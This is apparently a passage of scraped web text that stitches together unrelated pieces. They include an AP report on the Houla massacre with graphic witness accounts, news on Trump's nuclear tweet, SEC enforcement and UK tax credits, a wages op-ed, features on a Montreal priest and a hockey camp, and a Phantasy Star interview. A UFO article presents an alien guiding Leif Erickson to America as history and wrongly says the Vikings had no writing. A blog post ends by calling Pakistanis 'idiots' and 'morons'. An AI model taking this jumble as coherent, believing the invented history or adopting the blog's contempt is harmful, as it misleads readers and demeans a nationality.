Choquetapo says. "We don't want to exploit every bit of it. This piece of earth has to support our kids and grandchildren, too." -Eyewitness accounts from the Syrian massacre emerged Tuesday, describing shadowy gunmen slaughtering whole families in their homes and targeting the most vulnerable in poor farming villages. Western nations expelled Syrian diplomats in a coordinated move against President Bashar Assad's regime over the killing of more than 100 people. U.N. special envoy Kofi Annan met with Assad in Damascus to try to salvage what was left of a peace plan, which since being brokered six weeks ago has failed to stop any of the violence on the ground. Survivors of the Houla massacre blamed pro-regime gunmen for at least some of the carnage as the killings reverberated inside Syria and beyond, further isolating Assad and embarrassing his few remaining allies. "It's very hard for me to describe what I saw, the images were incredibly disturbing," a Houla resident who hid in his home during the massacre told The Associated Press on Tuesday. "Women, children without heads, their brains or stomachs spilling out." He said the pro-regime gunmen, known as shabiha, targeted the most vulnerable in the farming villages that make up Houla, a poor area in Homs province. "They went after the women, children and elderly," he said, asking that his name not be used out of fear of reprisals. Assad's government often deploys fearsome militias that provide muscle for the regime and carry out military-style attacks. They frequently work closely with soldiers and security forces, but the regime never acknowledges their existence, allowing it to deny responsibility for their actions. U.N. peacekeeping chief Herve Ladsous said there are strong suspicions that pro-Assad fighters were responsible for some of the killings, adding that he has seen no reason to believe that "third elements" — or outside forces — were involved, although he did not rule it out. The Syrian regime has denied any role in the massacre, blaming the killings on "armed terrorists" who attacked army positions in the area and slaughtered innocent civilians. It has provided no evidence to support its narrative, nor has it given a death toll. Following his meeting with Assad, Annan called on the government and "all government-backed militias" to stop military operations and show maximum restraint. He also called on the armed opposition to stop all violence. "We are at a tipping point," Annan told reporters in Damascus. "The Syrian people do not want the future to be one of bloodshed and division." Cranking up the pressure on Assad, the Obama administration gave Syria's most senior envoy in Washington, the charge d'affaires at the Syrian Embassy, 72 hours to leave the United States. Britain, Canada, Australia, France, Germany, Italy, Spain and Bulgaria also expelled Syrian diplomats. "We hold the Syrian government responsible for this slaughter of innocent lives," State Department spokeswoman Victoria Nuland said in Washington. "This massacre is the most unambiguous indictment to date of the Syrian government's flagrant violations of its U.N. Security Council obligations." The massacre in Houla could prove to be a watershed moment in the Syrian crisis, which began in March 2011 with peaceful protests inspired by the wave of uprisings sweeping the Arab world. Nearly 15 months later, the country is in many ways unrecognizable from the days before the revolt. Assad, once considered a potential reformer in a region filled with aging dictators, is a global pariah. A country that once boasted it was the safest in the Middle East is riven with violence, some of it reminiscent of the worst days of the Iraq war. The economy is in tatters. Syrians are facing price increases for basic goods and endure regular power cuts. And in some haunting cases, neighbors who have lived side by side for years are turning on each other, driven by sectarian hatred that so many months of violence is laying bare. According to witnesses, the massacre, which began late Friday in an area about 40 kilometers (25 miles) northwest of the city of Homs, had dangerous sectarian overtones. The victims lived in the Houla area's Sunni Muslim villages. But the shabiha forces allegedly behind many of the killings came from an arc of nearby villages populated by Alawites, an offshoot of Shiite Islam. Most shabiha fighters belong to the Alawite sect, to which the Assad family and the ruling elite also belong. This ensures the gunmen's loyalty to the regime, built on fears they will be persecuted if the Sunni majority gains the upper hand. Sunnis make up most of Syria's 22 million people, as well as the backbone of the opposition. Even as much of the opposition insists the movement is entirely secular, disturbing reports from the ground suggest religious tensions are boiling over. The volatile sectarian divide makes civil war one of the most dire scenarios. Activists say as many as 13,000 people have been killed in the uprising. The U.N. put the toll at 9,000 as of March — one year into the revolt — but many hundreds more have died since. On Tuesday, the U.N.'s human rights office said most of the 108 victims of the Houla massacre were shot at close range. The U.N. report indicated that most of the dead were killed execution-style, with fewer than 20 people cut down by regime shelling. Deaths from heavy artillery can be blamed on regime forces with relative confidence because rebel fighters do not have such weapons. But it is more difficult to determine who is behind the close-range killings — particularly as Syria sharply restricts media access. Still, the U.N. cited survivors and witnesses blaming the house-to-house killings on shabiha. Witnesses also told the AP that shabiha were behind the attacks. "What is very clear is this was an absolutely abominable event that took place in Houla, and at least a substantial part of it was summary executions of civilians, women and children," said Rupert Colville, spokesman for the U.N. High commissioner for Human Rights. "At this point, it looks like entire families were shot in their houses," he said. It is not clear what touched off the convulsion of violence. Houla activists reached by Skype said government troops shelled the area after anti-government protests on Friday and clashed with local rebels. Later, shabiha from nearby villages swept through the area, stabbing residents and shooting them at close range. Videos posted online by anti-regime activists show explosions in Houla and dismembered bodies in the streets, then row upon row of the dead laid out before being buried in a mass grave. Some videos showed dozens of dead children, some with gaping wounds. According to the state-run news agency, SANA, Assad on Tuesday blamed terrorists and weapons smugglers for scuttling the peace plan, which called for a cease-fire and dialogue with the opposition. The regime denies there is any popular will behind the country's uprising, saying foreign extremists and terrorists are driving the unrest. Although Damascus has remained largely impervious to international condemnation over the course of the uprising, Tuesday's diplomatic squeeze will increase pressure on Syria's remaining allies, including Russia. Russia has provided a key layer of protection for the Syrian government in the uprising. Russia and China have used their veto power to block U.N. resolutions against Assad. But Russia has grown increasingly critical of Damascus in recent months, and the Houla massacre has prompted some of the strongest condemnations yet from Moscow. Russian President Vladimir Putin is traveling to Germany and France this week and is likely to come under even greater criticism for his support of the regime. "We have to continue our work with the Russians," British Foreign Secretary William Hague said. "We will continue to discuss this with Russia. Russia has particular leverage on the regime and therefore has a particular role in this crisis." Despite some shift in Russia's stance recently, Russian Foreign Minister Sergey Lavrov said Tuesday the Houla massacre must not be a pretext to push for military intervention from outside. Instead, he urged all sides to focus on the Annan plan. Hague said that the situation in Syria is more complicated than what international powers faced in Libya last year, when a U.N. resolution ushered in NATO military intervention against dictator Moammar Gadhafi's regime. White House spokesman Jay Carney said the Obama administration remains opposed to military action, reasoning that it would lead only to more carnage. He said the U.S. will continue offering non-lethal assistance to the Syrian people and said Tuesday's coordinated move to expel Syrian diplomats was a signal of the international community's "absolute disgust" with Assad's rule. Assad still commands a strong army that has proven largely unwilling to turn on him. The entire structure of the state has been built to preserve Assad's power, with the military, the police and security services — even the economy — tied up with the survival of his presidency. Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy But as the violence engulfs the country, many see Assad's departure as the only way out. Fawaz Zakri, a member of the opposition Syrian National Council, urged action by the U.N. Security Council, saying the world body "must do something to save the Syrian people's souls." -Not Where US Predators in Pakistan Are (Updated) Remember how outraged we were that Sen. Feinstein had leaked classified information that the US was using bases inside of Pakistan to control our Predator strikes against al Qaeda targets? It looks like Google Earth outed the CIA base of operations first. The above can be found using Google Earth's 2006 maps. Secret is out. Time to find a new base. Thanks Google. A thought: In all of the spy novels I read, the protagonists -- Scott Harvath, Mitch Rapp, Kirk McGarvey -- and even the antagonists -- al Qaeda -- all have a pretty good idea when satelites which might give away their positions are overhead. If novelists can think that far ahead, why can't the real CIA? Thanks to Shachtman for the pic and who notes, correctly, that those are Predators and not Global Hawks. UPDATE: Dave Schuler has some related thoughts. Anonymous actually brings up a good point that Global Security had reported on the base some time ago. But I think the rather important thing here is not that the US has an FOB in Pakistan, but that many idiots in Pakistan are outraged that the base is being used by Predators. Case in point. A lot of Pakistanis are under the impression that the US indiscriminately bombs poor innocents when we use our drones in their territory. I guess there's no fixing stupid. Here's a great idea: why don't you morons control your own territory and get rid of al Qaeda and the Taliban? Either do that, or shut the hell up. -.- Claude Paradis was impoverished and homeless, living on the streets of Montreal, Canada. He struggled with addiction to both alcohol and drugs, with a future so bleak, he considered ending his own life. He did not end his life, however, and today he is a priest who dedicates his time to serving the physical and spiritual needs of those trapped in poverty, prison and prostitution. “The street brought me to the Church and the Church in the end brought me back to the street,” the priest told the Journal Metro. Last December, as a sign of his closeness and solidarity with the homeless, Fr. Paradis decided to sleep on the street for the whole month, to care for the homeless people there with solidarity and charity. His hope was that he could accompany people in a difficult situation while also making the citizens of Montreal aware of the harsh reality faced by those living on the street. Fr. Paradi founded an institution called Notre-Dame-de-la-rue (Our Lady of the Street). Each night, he goes out to bring food and shelter to those living on the streets. He also administers the sacraments, celebrates the Eucharist and even presides at funerals. The priest is accompanied by one of his co-workers, Kevin Cardin, who also was addicted to drugs, but found help, changed his life and now has a family. Notre-Dame-de-la-rue has the support of the Archbishop Christian Lépine of Montreal, who has described the initiative as “a presence of the Church to give encouragement.” It also has the support of the city. “Our mission is especially to give encouragement. Unlike the shelters, we go out to the people, a bit like a door-to-door service. We talk to them, sometimes we pray together before they go back to face the harshness of the street.” Fr. Paradis knows how hard life on the street is. After growing up in the Gaspé region and working in Cowansville as a nurse, he came to Montreal 25 years ago. However, he was unable to find a job. “Isolation and despair took hold of me,” he said. Living on the street, he thought about committing suicide. “I started doing cocaine and then crack,” he recalled. In a letter posted on the website of La Victoire de l'Amour (the Victory of Love), Fr. Paradis tells how he met the Lord. “I had the privilege of meeting God just at the moment I was doubting Him. On a little back street in Montreal, abandoned by people, there was nobody there. Passing by the old church, impelled by I don't know what instinct, I turned back in there.” At that moment, he had a deep and intense encounter with God. He realized he did not want to die, but rather wanted to become “a man of the Church.” Fr. Paradis went on to fight his addictions and now ministers to many people who face the same challenges he struggled with years ago. The 57-year-old priest has dedicated the rest of his life to serving the poor, saying “on the street is where I want to be, until I die.” This article was originally published on CNA Jan. 17, 2017. -Donald Trump has sparked fears about a new global nuclear arms race with a tweet that reverberated around the world in which he called on the US to expand its nuclear arsenal. In a single comment that will raise more questions about both his temperament and foreign policy experience, the President-elect said the US must "greatly strengthen and expand" its nuclear arsenal until "the world comes to its senses regarding nukes". He gave no other details about his plans. But his comment immediately triggered fears that the next US president will reverse decades of policy in which the nation has, in tandem with Russia, sought to reduce its nuclear arsenal. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. The Associated Press said the Thursday morning comment from Mr Trump came a day after he met with several military procurement officers to discuss defence budgets, including Lt Gen Jack Weinstein, the deputy chief of staff for strategic deterrence and nuclear integration for the Air Force. During the campaign, Mr Trump had suggested that the US expand its arsenal and he also suggested that the “better off” other countries, including Japan and South Korea, should have nuclear capabilities. He said that would mean that the US’s traditional allies might not be so dependent on Washington. Mr Trump was spending Thursday at his private estate in south Florida, where he has been meeting with advisers and interviewing potential cabinet nominees. He is also expanding his White House staff, announcing that campaign manager Kellyanne Conway will join him in the West Wing as a counselor. Reaction to Mr Trump’s comments was quick. Anti-nuclear campaigners said the comments underscored how little Mr Trump understood the danger of nuclear expansion – something on which there had been bipartisan agreement in the US for decades. Kate Hudson, General Secretary of the Campaign for Nuclear Disarmament (CND), told The Independent she was “deeply concerned” by Mr Trump’s comments. “It was very striking that during the campaign he made comments that suggested he did not understand much about nuclear weapons, and suggested other countries should develop their own,” she said. “The US already has enough weapons to destroy everything there is several times over. Why does it need more? It seems crazy. He needs to understand that this is the best way to start a nuclear war.” It comes as Russian President Vladimir Putin announced that Russia's military can overpower any potential foe. "We can say with certainty: we are stronger now than any potential aggressor," he told an annual end-of-year defence ministry meeting. "Anyone!" The Federation of American Scientists has estimated there are currently 15,375 nuclear warheads held by eight countries. Of those, Russia has an estimated 7,300, the US has 6,970, France has 300, China possesses 260, the UK has 215, Pakistan has 130, India has 120 and Israel has 80, though it refuses to confirm or deny its arsenal. Efforts by the two major nuclear powers to reduce their arsenal date to the late 1960s. SALT I – or the Strategic Arms Limitation Talks Agreement signed on 26 May 1972 – froze the number of strategic ballistic missile launchers at existing levels. John Pike, director of the Washington-based military studies group GlobalSecurity.Org said that Mr Trump’s actions appeared to fit with the suggestions of critics who say Mr Trump – however unlikely it may sound – is working to benefit Russia. “What he has done is what someone would do it they wanted to completely upend the US’s security posture,” he said. Dr Janne Nolan, chair of the Nuclear Security Working Group, a bipartisan group of policy experts working to build consensus on nuclear security issues, said Mr Trump would be inheriting a $300bn nuclear modernisation programme agreed by the Obama administration. “There is a certain irony here in that the outgoing president, who was rhetorically committed to a vision of global nuclear elimination, leaves behind the most ambitious and expensive nuclear modernisation plan of several decades for his successor to execute,” she said. “It remains to be seen what President-elect Trump will actually do that is new or different. It would appear that he will need time to learn that effective 21st century nuclear deterrence is a far more nuanced challenge with complex considerations and not so easily achieved with additional weapons or larger budgets.” We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now -Let me preface this article with an interesting story that came from a tabloid I had read back in the mid 1990’s. It pertains to the following article and attests to the nature of the mighty Vikings. According to the account an ancient record that was handed down describes a UFO encounter from the distant past experienced by the Leif Erickson’s crew who were on their way to North America. I am not sure about what medium that this historic account was recorded in as the Vikings did not supposedly have a written language. Even though the Norsemen were considered incredible craftsman, weapon makers, and accomplished artists, there was no written word. Perhaps these accounts came as a result of pictograms or engraved images. Who were the Norse gods really? The Vikings have quite a colorful mythology with a number of different deities like many other religions leading some to speculate that Gods such as Thor with his mighty axe striking lightning in the heavens might represent ancient man’s interpretation of missiles or death rays. According to this uncovered tale from antiquity, Erickson’s crew had been paced by a bright nocturnal aerial object for several nights as they crossed the forbidden waters of the North Atlantic that loomed before them. Now for Leif Erickson and his men to cross the Atlantic, it was not only the fear of falling off the edge of the earth that haunted them, but also the presence of sea serpents capable of capsizing their ships that also terrified them. However, the Norsemen rarely feared anything, and were just audacious enough to challenge the superstitions of their culture and brave the long and perilous voyage. Guided to the new world by a UFO It is said that finally this glowing airborne vessel hovered over the Viking ship and from beneath it came an entity who stood upon the deck of the Viking boat. The response of the Norsemen was to attack, which they did. It is well known that the Vikings tooled magnificent swords, knives, and hatchets. They feared no one and quickly dispatched their enemies with skill and savagery. However, they were no match for this other-worldly being, who disintegrated his attackers with what we would now know to be a ray gun of some kind. Accosted by an entity When the Vikings saw that they were outmatched their next tactic was to befriend the alien who had just demonstrated his technical superiority. They reportedly feasted with him and drank. It appears that the Norsemen though brutal were also practical. “If you can’t beat’em join’em”, and apparently they did. After sharing their merriment with the being of fantastic powers, a deal was struck. The aerial object that had paced them for several nights would now lead them to the North American continent which they were soon to land on. History had to be re-written as a result of the fact that it was the Vikings who discovered North America first, yet the other more fantastic evidence of extraterrestrial intervention seems to have been intentionally overlooked. The actual discoverers The Vikings succeeded several hundreds of years before Christopher Columbus in 1492 in the discovery of North America. In the year 1000 AD evidence shows that Leif Erickson and his men discovered, what is now the northern shores of Canada, and moved further south along the coastline to more wooded lands with bountiful resources. They named North America Vinlandia after vines they discovered and harvested. Leif Erickson and his 35 man crew overcame the rigors of an Atlantic crossing and cultural superstitions that had stubbornly persisted through-out Europe for hundreds of years afterword that the very edge of the world laid at the end of the Atlantic Ocean somewhere at the horizon. A past not as we were led to believe This feat is amazing enough in itself, but if accounts of what transpired on that voyage are to be believed at all, then we must also embrace the fact that the Vikings encountered an entity that descended to the deck of their vessel. This mysterious being defeated the Vikings who attempted to kill him, and once befriending the Norsemen, led them to the North American continent. Once again in the unwritten pages of history is evidence in a milestone for humanity, we find the past is not as we were taught. The ubiquitous appearance of a UFO that intervenes in the affairs of man demonstrates that sometimes fact can even be stranger than fiction. Click here for Part II -So it was a natural fit when Brad Martin, who runs the Lakeland Hockey Association and Lakeland Ice Arena, asked Larkin and his brother, Colin, and his cousins, Adam and Ryan, if they were interested in doing a hockey camp. WATERFORD, MICH . - Although Dylan Larkin is turning 21 this weekend, it wasn't that long ago that he was a little boy skating at Lakeland Ice Arena in Waterford. All four Larkin boys eagerly agreed to do it and the Larkin Hockey School was born. "A lot of us that are doing this camp grew up right in this rink and it is cool to come back and give back to these kids that are hopefully going to follow in our footsteps," Larkin said following an afternoon session. "We all have moved on through the hockey ranks and all of us are playing (or have played) college hockey. I hope we're setting a good example and we're having fun with the kids. It's been a good response in both years doing it so it's a lot of fun for us." Other guest coaches are Mike Chiasson, Darren Brady (Rochester Institute of Technology), Charlie Curti (Yale), Drew Dorantes (Ferris State), Tyler Dorantes (Ferris State), Bryce Hatten (Miami Ohio) and Chase Sereno (Oakland). Martin said when he was younger, Pat LaFontaine was growing up in Waterford and was for him like Larkin is for these young kids. "It was just an honor to meet him and know him over the years," Martin said. "I've known (the Larkins) since they were little. It's been great fun. They're all awesome kids. You deal with Dylan a lot but all of them, they're brothers, not cousins. They're unbelievable guys. It's just so cool." Martin said he originally thought the Larkins might agree to doing one week but instead they wanted to do three weeks. They just started their second week and the third one takes place from Aug. 8-11. "Last year it was amazing, the hype of when we were building the registration online," Martin said. "I sent an email saying it was going to go live at two o'clock and it was like watching the ticker tape parade. In the first hour, I think there was like, 96 registrations. They were all time-stamped. It was just amazing. Because the owner of the rink's like, yeah, it's not going to sell out. Watching the numbers, it's like tick, tick, tick, refresh, refresh and the numbers just kept jumping and jumping. Almost 100 percent capacity for the three weeks." Larkin was delighted at the impressive response they got for their new hockey school. "To see these kids out here just enjoying hockey, they're sometimes crazy and they don't wait in line very well but to see the smile on their face when they make a good play or are out there skating around with their buddies, it's priceless," Larkin said. "Hopefully we can do it for as long as we can." The kids who participated in last year's camp got first priority for this year's edition. One of those returning campers is Zachary Brennan, 8, who moved to Michigan a few years ago. "Some of my friends told me about this and I really wanted to go here so I'm like, 'Hey, Mom! Hey, Dad! Can I sign up for the Dylan Larkin camp? I heard it's really popular,'" Brennan said. "Then my mom and dad said, 'OK. When is it?' I said when it was and they took me here. "I did last year for Dylan Larkin camp and I really liked it. Dylan Larkin holds the fastest record in skating so I can't believe I'm skating with him. It's very cool that I get to skate with an All-Star." Brennan said he has taken one thing he's learned at hockey school to heart. "Skating," Brennan said. "You have to skate to play. If you can't skate, you can't play." Naturally, the kids have a lot of questions for the Larkins, especially for Dylan, so on the third day of each camp they have an off-ice question and answer session. "There's some funny questions," Larkin said. "A lot about other teammates and a lot about what's it like to be a Red Wing. I think it's valuable that I share that. I think how I feel about where I came from and what I'm doing now playing for the Red Wings, I would have liked to hear it at their age and I think it's pretty cool for them." Larkin said the kids always want to know how he made the U.S. National Team Development Program, how he got a scholarship to play at Michigan and how he made it to the NHL at such a young age. "It really came down to work ethic," Larkin said. "These kids have a lot of distractions and school is the most important part but you got to be willing to shoot extra pucks at home and when the ponds are frozen, you want to be out there for a couple hours or as long as you want. I really preach it because it can't come from anyone else, it just has to come from the kid himself and that's when you get something special. "When their parents are forcing them to do it, I'm sure it's not fun for them but if it comes from within, that's when something special could happen." When the kids learn these things from their coaches, they pay attention, but when it comes from Larkin, a young star for the Red Wings, it makes the biggest impact. "I use a lot of stuff that Dylan Larkin uses," Brennan said. "I use his celly (goal celebration), I use some of his moves. I really like him. He's my first favorite player. Alex Ovi (Ovechkin) is my second because I met him when I was two. "It's an unbelievable feeling just being with Dylan Larkin and the Larkin family. It's just the most amazing thing anybody could ever wish for." -The extinction of the American raise — dead as a dodo, by every empirical measure — has become a truth universally acknowledged. Even Republican House Speaker John Boehner, not a fellow often glimpsed on the barricades with protesting workers, pronounced that “wages are stagnant” in his comments on the most recent employment figures. On Tuesday, two of our most perceptive economics writers, the New York Times’s David Leonhardt and my Post colleague Catherine Rampell, authored columns that handicapped the prospects of employers actually beginning to increase their employees’ wages — which, as legend has it, was once a common practice in the United States. Leonhardt glumly observed that the downward pressure on wages imposed by globalization, sclerotic government and technological change might still outweigh the factors working in employees’ favor. Rampell noted that the 15 million Americans who are officially unemployed or who have dropped out of the labor force create a powerful downdraft on workers’ ability to win wage hikes. Both of these macroeconomic explanations are sound, but they don’t exhaust the list of reasons why profits and capital income, as a share of the nation’s total income, are at record highs while wages and labor-derived income are at record lows. Nor does the alleged “skills gap” of U.S. workers provide much of an explanation, since “the demand for college-educated workers has actually slowed quite sharply since 2000 and their real wages have been flat,” as economist Jared Bernstein has noted. Fully documenting the reasons the United States has experienced this epochal upward redistribution of wealth and income requires a look at institutional economics as well as macroeconomics. The distribution of income is a function not just of global forces but also of social and institutional power. And over the past four decades, U.S. workers have suffered a loss of power that may exceed even their loss of income. Consider, for instance, how Americans succeeded in doubling their real incomes during the three decades following World War II. To be sure, it was a time when the United States dominated the world economy as never before or since, when major corporations had few foreign competitors and were seldom challenged by low-paying start-ups at home. Under those benign conditions, pay raises must have drifted down as the gentle rain from heaven — right? Wrong. The presumably placid 1950s were rocked by one major strike after another, averaging 300 a year throughout the decade. There are few things as disruptive or unpleasant as a strike, both for the strikers and their communities. But it was by waging these disruptive, unpleasant actions that the greatest generation turned the United States into the first majority middle-class nation in ­history. In the early 1980s, employers struck back. Following the lead of President Ronald Reagan, who fired striking air-traffic controllers, major companies began to routinely discharge workers who walked off the job. By the mid-’80s, strikes were in irreversible decline and companies were almost automatically firing workers who sought to form a union. A new doctrine, first propounded by economist Milton Friedman, took hold in boardrooms and executive suites. The purpose of a corporation, it held, was not to benefit all of its stakeholders — shareholders, employees and the public — but to benefit shareholders only. Boosting profits and the value of the company’s stock by laying off workers, holding down their pay, converting them to independent contractors or shifting their jobs overseas became so common a practice that any company not playing by these rules became the subject of journalistic profiles written in a tone of amazement (as the recent coverage of the Market Basket supermarket chain ­attests). By the ’90s, most corporate chief executives had their pay linked to the value of their stock, which many of them were able to boost by having their companies buy back outstanding shares, causing the value of the remaining shares to rise. Over the past decade, under pressure from “activist investors” and with the understanding that boosting share value would send CEO pay soaring, the corporations on the S&P 500 list of the largest publicly traded companies have devoted more than 90 percent of their profits to buying back their own shares and paying dividends to shareholders. That hasn’t left much for wage ­increases. While macroeconomic conditions surely explain some of the problems that have befallen U.S. workers, the institutional changes to American business — above all, the rise of investor power and the decline of worker power — are central to the tale. The case of the vanishing American raise can’t be solved without them. Read more from Harold Meyerson’s archive or follow him on Twitter. -In the wake of the 2008 Wall Street meltdown, many Americans — including in Washington — expected that the Securities and Exchange Commission would get to the bottom of how things happened, and make sure no such crisis happened again. But an investigation by The New York Times found that the SEC is regularly issuing a pass to these big banking companies that it's supposed to be regulating. While it may be finding fraud more often now, it's rarely issuing the penalties called for in those cases, the Times found. Louise Story, investigative reporter for The New York Times, said when the SEC settles a case with a large bank, they reach lengthy agreements spelling out what they did and what punishments they'll face. Most often, Story said, the banks push hard to get out of the specified punishments. "One of the punishments of misleading investors about your company, for example, one of the punishments is that you might not be able to issue certain kinds of stock in the future. You might not be able to run mutual funds in the future. You might be exposed to a lot of class-action lawsuits," Story said. "What this analysis in the Times found is that there are over 300 instances since 2003 where the SEC agreed to give the banks an exemption from some of these punishments that are normal." Story said among the reasons, they found, were the bank's importance to the market's functions. Some SEC officials said these exemptions were important to allowing the banks keep doing their business, Story said. "On the other hand, there's a real question of deterrence here," Story said. On the flip side, companies that aren't banks often feel the full weight of SEC enforcement actions. General Electric, for example, was subjected to the sort of punishments that the investment banks don't get, Story said. Citi Group, though, in 2010 settled an investigation into its mortgage securities did not get an exemption protecting them from shareholder lawsuits. But that's the exception. "That's been a real burden to Citi Group compared to the other Wall Street firms, but it's also deterrent," Story said. In recent months, the SEC has been lobbying Congress for new, stricter enforcement powers, but at the same time it's often choosing not to impose them. "Why not use all these ones that they have," Story said. -David Cameron has rejected calls to soften the impact of planned cuts to tax credits in the face of a cross-party campaign that warns that 3 million of the poorest working families will be worse off by £1,350 a year. In an interview on the Andrew Marr Show on BBC1, in which he said the Conservatives would champion the “common ground” as Labour “runs to the hills”, the prime minister defended the cuts on the grounds that the government has to protect the NHS and schools. Facebook Twitter Pinterest Frank Field. Photograph: Anthony Devlin/PA Cameron indicated that the chancellor, George Osborne, would not revise his plans to cut tax credits when he delivers his autumn statement next month, despite warnings from former Tory minister David Willetts and the Labour welfare expert Frank Field. The Sun on Sunday launched a campaign to help low-paid workers under the headline “Tax credit cut ‘bonkers’”. Asked whether the chancellor would have a rethink in the autumn statement, the prime minister said: “No. We think the changes we have put forward are right and they come with higher pay and lower taxes.” Cameron made his remarks on the first day of the Conservative party conference in Manchester, in which he also: • Teased Osborne, seen as the frontrunner to succeed him as Tory leader when he steps down by 2020, by saying that frontrunners often do not win. • Hinted that cabinet ministers might be allowed to campaign on either side in the EU referendum, even as he indicated that he was determined to remain in the EU. • Illustrated the Tories’ plans to occupy what he called the “common ground” of British politics, as Labour moves to the left under Jeremy Corbyn’s leadership, by announcing that GPs’ contracts were to be rewritten to ensure the NHS becomes a true seven-day service. Moderate Tories who have welcomed the prime minister’s move to the centre ground have warned that the cuts to tax credits, outlined by the chancellor in his budget in July, could undermine Downing Street’s attempts to appear as the “workers’ party”. Lord Willetts – one of the most influential Tory thinkers of the past decade, who served as science and universities minister for most of the last parliament – warned in the Times last week that the changes could “turn sour”. The chancellor outlined the cuts in his summer budget when he announced that he would slash the earnings level at which tax credits start to be withdrawn from £6,420 to £3,850 from next April. Osborne said that low earners would be compensated by the creation of a “national living wage” – a rebranding of the minimum wage – which would be set at £7.20 an hour from next April for over-25s. It is to rise to £9 an hour by 2020. The Institute for Fiscal Studies said in its post-budget briefing that 13 million families will lose an average of £240 a year, while 3 million families will lose £1,000 a year. Paul Johnson, the IFS director, said it was “arithmetically impossible” for the increase in the minimum wage to compensate for the loss in tax credits. UK tax and benefit changes worsening inequality, IFS warns Read more The prime minister insisted that families would not be worse off. “If you take a family where someone is on the minimum wage, when you take into account all the things we are changing in tax, in the national living wage and tax credits – that family will be better of, not least because you’ve got the national living wage, and we are cutting tax so you can earn £11,000 before you start paying any tax at all.” But Cameron said he would look at a proposal by Field, the Labour chairman of the Commons work and pensions select committee, who has proposed a revenue-neutral way of reducing the impact of the tax credit cuts on the lowest paid. Field says that the current income threshold for the withdrawal of tax credits should remain at £6,420. This would be paid for by withdrawing tax credits more sharply – a taper rate of 65% – on gross earnings over £13,100. Cameron said of the Field proposal: “I always look at everything. But we have had the vote in parliament on tax credits. And people do respect this argument that the national living wage, a 50p increase next year, so a £20 a week pay rise, rising to £9 by the end of this parliament – that is a very significant change that really helps to make work pay rather than a tax credit system that recycles money back to people. Obviously, I accept we are making changes to tax credits. We are protecting the lowest-paid people with the child tax credit and what goes with it. But we are moving to an economy where you get paid more and where you pay less in tax, rather than paying more in tax and getting the money back in tax credits.” Ruth Davidson, the Conservative leader in Scotland, told a fringe event that she would like to see more detail on how tax credit cuts will work in practice. “I agree with the prime minister that we should be absolutely cleaving to the principle that work should pay in and of itself and we should be moving to a higher wage and lower welfare economy... “But when it comes to the application of the policy, I think we do need to see a little bit more detail about how it will work in practice and I would expect that to be brought forward in the autumn statement.” She also said she would like to see carer’s allowance brought into line with jobseeker’s allowance, and will campaign for this to happen in Scotland once the welfare budget is devolved. -While legendary sound designer and game composer Bo was not apparently part of the round-table interview, the book appended a short word from him at the end, which I have also included here. This long interview with the original Phantasy Star development team (except Yuji Naka, sadly) was found in the 1993 “World of Phantasy Star” book. It’s filled with interesting anecdotes and trivia about the seminal RPG, and the by-now common theme of freedom in the early days of Japanese game development is also sounded. Phantasy Star 1993 Developer Interview From the “World of Phantasy Star” book Rieko Kodama: Phantasy Star I and II character designer, Phantasy Star IV team leader. Editor for the Sega publication “Spec.” Champion Boxing, Alex Kidd in Miracle World, Zillion, Miracle Warriors, Hoshi o Sagashite, Fantasy Zone II, Altered Beast, Shadow Dancer, Sonic the Hedgehog, and more. Miki Morimoto: Game Designer. Phantasy Star Series, Hoshi o Sagashite, Sorcerian, and others. Kotaro Hayashida: Game Designer. Alex Kidd in Miracle World, Phantasy Star, and others. Kazuyuki Shibata: Graphic Designer. Phantasy Star I and II, Pyramid Magic, Surging Aura, and others. Toru Yoshida: Graphic Designer. Super Thunder Blade, King Colossus, Phantasy Star II, Phantasy Star IV, Phantasy Star Text Adventure, and more. Tokuhiko Uwabo, aka “Bo”: Sound and music. Alex Kidd, Fantasy Zone, Space Harrier, many more. Miki Morimoto, game designer. —Why did you choose the Phantasy Star title? Did it simply mean something like “a planet/star of fantasy”? Morimoto: That’s basically right, but the origin was different. The main programmer, Yuji Naka, was a fan of the idol singer Noripii (Noriko Sakai), and her liked her new song “Nagisa no Fantasy” (Beachside Fantasy). From that he took the word Fantasy, and played around with it till he came up with Phantasy Star. It ultimately ended up matching the image of the game. —That reminds me of the story of the Advanced Daisenryaku sample rom, where you can find the hidden graphic of idol Chisato Moritaka dressed up in a military uniform. Hayashida: Yeah, the designer Minami liked Chisato Moritaka so he just added that in there. If you don’t know about it and it suddenly comes up, it’s like, what the hell? Anyway, naming things is always tough. Even after thinking and thinking it’s very common to just come up blank, and sometimes you get hints from strange places. I’m sure it’s the same with people who have to think of titles for movies or songs. —Even today the original Phantasy Star has many passionate fans, with the Tokuma Published strategy guide having been reprinted many times. What do you think is the enduring appeal and charm of Phantasy Star? Morimoto: There’s a lot of elements in RPGs today that seem rigidly defined, almost cliches. For example, getting a boat, getting an airship… with an airship you can cross the mountains, but can’t destroy them or anything like that. In Phantasy Star, we had the audacious idea of the Ice Decker vehicle where you could actually enjoy mowing down icebergs on the terrain. Mowing down mountains with the ice-digger. Then there’s the spaceship which lets you fly to other planets. It’s a more free, unrestrained world. In most RPGs there’s only one world, right? In Phantasy Star the story straddles three planets, and I think that kind of freewheeling sense of adventure is one of its main charms. The fact that it’s a science fiction RPG also sets it apart, but since we mixed sword and sorcery into the science fiction, it’s a really open, wild world. —Can you tell us about the origins of Phantasy Star? Morimoto: Phantasy Star came into being when, during the Master System era, Sega decided that it also needed to create an RPG. So they started soliciting game design ideas from us, and Chieko Aoki had this story idea she’d been mulling over for awhile. We used that and worked it into what became the original story draft for Phantasy Star. Even at that early stage, almost all the dialogue was already written–that was how much Chieko loved Phantasy Star. Kodama: In the original draft for Phantasy Star there were four planets. But we realized it would be very difficult to properly depict four planets. There was also an issue with memory limitations, so we changed it to three planets. Today you can use a lot of memory for a game, but back then even 4 megs was a huge amount. —Speaking of the memorable characters in Phantasy Star, Lutz had quite an impact with players, didn’t he? Kodama: Actually, when I created the first draft of the characters for Phantasy Star II, I made Lutz the main character. By the way, since so many people have asked whether Lutz is male or female, let me say a little about that. In the original story drafts of Phantasy Star, Lutz was a hermaphrodite, and as Alisa grew up, Lutz could become male or female. I thought that was interesting so I depicted Lutz that way. Early concept art for Lutz from PSII. Yoshida: In the earliest drafts for Phantasy Star II, the main character is 